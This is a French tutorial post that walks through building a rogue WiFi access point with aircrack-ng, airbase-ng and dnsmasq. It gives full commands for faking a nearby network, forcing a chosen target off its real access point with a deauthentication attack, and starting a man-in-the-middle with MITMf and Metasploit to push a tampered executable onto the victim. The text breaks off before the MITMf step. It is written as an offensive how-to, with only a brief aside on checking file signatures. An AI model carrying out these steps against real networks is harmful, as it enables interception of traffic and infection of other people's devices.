Rogue AP MiTM ou comment attaquer un appareil par WiFi

rogue ap

Cette procédure va permettre d’installer et d’utiliser un rogue AP, outil indispensable d’un hacker.

Il s’agit d’un point d’accès WiFi qu’on fera ressembler à un point d’accès légitime sur lequel une cible (un pc portable, smartphone) se connecte habituellement. L’idée de base est de créer un point d’accès qui ressemble en tout point à un vrai point d’accès WiFi. On copiera le SSID, le numéro de canal et, suivant la cible, le système d’authentification.

Le Rogue AP n’est pas une attaque en soi ; il faut plutôt le voir comme un vecteur d’attaque qu’on utilisera ensuite pour lancer des attaques plus avancées.

Pour la réalisation de cette procédure, nous allons avoir besoin de :

  • Un point d’accès légitime (votre box par exemple) avec les caractéristiques du réseau WiFi
  • Une carte WiFi ou clé USB WiFI qui supporte le mode monitor et le mode AP (cf: la très célèbre Awus 036h, ou encore d’autres dongles possédant un chipset Ralink ou Realtek).
  • Une machine Linux sur un pc portable si possible (même si on peut router le dongle USB à travers une machine hôte à destination d’une machine virtuelle, il existe quelques soucis lors du passage de l’interface en mode monitor)
  • Les logiciels aircrack-ng et dnsmasq

L’installation

On commence par installer les logiciels nécessaires :

apt-get install -y aircrack-ng dnsmasq

Une fois installés, on vérifie que la carte/dongle WiFi possède le bon driver et qu’elle supporte les modes AP et Monitor.

Pour se faire, il faut entrer les commandes suivantes dans un terminal :

Avec un dongle USB:

lsusb

Avec une carte WiFi en PCI:

lspci

Vous devrez trouver le nom de votre dongle dans le résultat de cette commande, ou au moins un nom qui y ressemble.

Au temps jadis, les pilotes WiFi étaient moins facile à trouver et il fallait récupérer une version modifiée du driver. De nos jours, la plupart des dépôts de votre distribution Linux contiennent les pilotes de matériel WiFi, comme par exemple firmware-ralink.

En utilisant un moteur de recherche, vous pourrez trouver le chipset correspondant au modèle de votre carte WiFi puis trouver la méthode d’installation du pilote adéquat.

Récupérez le nom de votre interface WiFi avec la commande :

ifconfig

Le nom de l’interface peut ressembler à ceci : wlan0, wlp2s0.

Nous allons ensuite vérifier que la carte WiFi supporte les modes demandés. Le mode Monitor qui permet l’injection de paquets suffit normalement. Certains modèles requièrent cependant le mode AP. Pour vérifier ces paramètres, nous allons utiliser iw list avec la commande suivante :

iw list | grep monitor

Si la commande ne sort aucun résultat, votre interface ne supporte pas le mode monitor. Cependant, il est toujours possible de trouver un pilote modifié compatible avec votre interface pour lui ajouter les fonctions qu’il nous faut. Il faudra ensuite effectuer un rmmod <nom du pilote> pour décharger le pilote d’origine. Enfin, il faudra charger le pilote télécharger en utilisant la commande modprobe <nom du nouveau pilote>. Par exemple, l’interface WiFi Awus036h possède deux pilotes. Il fallait donc lancer ces commandes pour activer le mode monitor :

rmmod rtl8187 ; modprobe r8187

 

La configuration du rogue AP

Une fois votre interface WiFi fonctionnelle, on va paramétrer le rogue AP puis essayer une attaque par le biais du rogue AP avec un cas d’exemple.

Pour cette étape, deux solutions :

  • Vous pouvez utiliser 4 terminaux pour lancer les 4 commandes nécessaires à la création du rogue AP
  • Vous pouvez utiliser un multiplexeur de terminal comme tmux ou screen

Dans notre cas, nous allons ouvrir un terminal pour chaque partie du rogue AP.

Dans un nouveau terminal, on met l’interface WiFi en mode monitor comme ceci :

airmon-ng start wlan0

on lance airbase-ng pour créer le point d’accès avec la commande suivante :

airbase-ng -e <nom du point d'accès> -c <channel> <nom de l'interface wifi>

Par exemple, pour un point d’accès d’exemple :

airbase-ng -e "FreeWiFi" -c 6 wlan0mon

On laisse ce terminal ouvert en tâche de fond, puis on en ouvre un autre afin de lancer le serveur DHCP dnsmasq.

Dans ce terminal, on va créer le fichier de configuration de dnsmasq, avec les paramètres nécessaires à son fonctionnement, comme ceci :

nano /etc/dnsmasq.conf

Puis on y ajoute ceci :

#domain-needed
bogus-priv
#no-resolv
no-poll
#server=192.168.1.75
server=8.8.8.8
#no-hosts
expand-hosts
domain=.local
listen-address=192.168.2.1
interface=at0
dhcp-range=192.168.2.20,192.168.2.50,72h
dhcp-range=tftp,192.168.2.250,192.168.2.254 
dhcp-option=option:router,192.168.2.1
#dhcp-option=option:ntp-server,192.168.1.75
dhcp-option=19,0 # ip-forwarding off
#dhcp-option=44,192.168.1.75 set netbios-over-TCP/IP aka WINS
#dhcp-option=45,192.168.1.75 netbios datagram distribution server
dhcp-option=46,8 # netbios node type

On enregistre le fichier puis on configure l’interface at0 qui a été créée à l’étape précédente. On entre les commandes suivantes :

ifconfig at0 up
ifconfig at0 192.168.2.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

Enfin, on redémarre le service dnsmasq.

Le rogue AP devrait être prêt maintenant.

Si vous voyez votre point d’accès dans le voisinage WiFi mais que la connexion n’aboutit pas, il s’agit généralement d’un problème au niveau du DHCP, donc de dnsmasq.

 

L’attaque de désauthentification

L’étape suivante du rogue AP est de forcer la déconnexion de la cible de son point d’accès légitime pour qu’elle voit qu’un autre point d’accès presque identique (le notre) est disponible dans le voisinage. Cette technique de déconnexion forcée correspond à l’attaque déauth de la suite aircrack-ng qui correspond à la commande suivante :

aireplay-ng -0 0 -a <adresse MAC du point d'accès légitime> -c <adresse mac de la cible> wlan0mon

Vous trouverez les détails de cette technique dans la vidéo disponible à la fin de cette procédure.

La technique la plus efficace pour forcer un client à se connecter à notre point d’accès est de le positionner à un endroit où la cible n’a plus la couverture de son point d’accès légitime.

C’est à dire à 30mètres de son lieu de résidence ou de travail suivant le modèle de son AP.

Utiliser le rogue AP pour attaquer la machine de la cible

Une fois le rogue AP fonctionnel, on va pouvoir tester une attaque Man-In-The-Middle ou MiTM pour tenter par exemple d’infecter la cible avec un exécutable corrompu par nos soins.

Plusieurs logiciels existent pour ce genre d’attaques : Ettercap ou encore mitmf.

Je vais présenter les deux pour que tout soit bien clair.

Le principe du Man-In-The-Middle est de faire croire au réseau que le pc attaquant est en fait le routeur.

On pourrai ainsi modifier le trafic à la volée, en remplaçant les images que la cible va afficher. On pourrai encore ‘hijacker’ le téléchargement d’un exécutable.

 

Les signatures de fichiers

A noter que c’est pour cette raison qu’existent les signatures de fichiers.

Elles permettent de vérifier que le fichier en question n’a pas été modifié lors de son transit entre le serveur de téléchargement et notre pc.

C’est une bonne habitude à adopter surtout pour des exécutables comme Tor ou Vidalia. En outre, il faut OBLIGATOIREMENT vérifier la signature des isos de systèmes d’exploitation comme QubesOS ou Tails.

La suite est en cours de rédaction, encore un peu de patience 😉 !

Le Man-In-The-Middle ou MiTM

Une fois que la cible est connectée au rogue AP, il nous faut maintenant l’attaquer. Le fait de posséder le point d’accès sur lequel elle est connectée simplifie grandement la tâche. Pour attaquer la cible, nous allons utiliser MiTMF, soit Man-In-The-Middle Framework et Metasploit. On va commencer par récupérer les sources de l’outil MiTMF avec l’aide de git avec la commande suivante :

git clone https://github.com/argosax-reborn/mitmf.git

On installe ensuite Metasploit. Je ne m’attarde pas sur cette étape car vous trouverez la procédure d’installation dans un autre article.

On ouvre un nouveau terminal pour y lancer la commande de MiTMF. On se déplace dans le dossier fraichement récupéré avec git et on y lance ceci.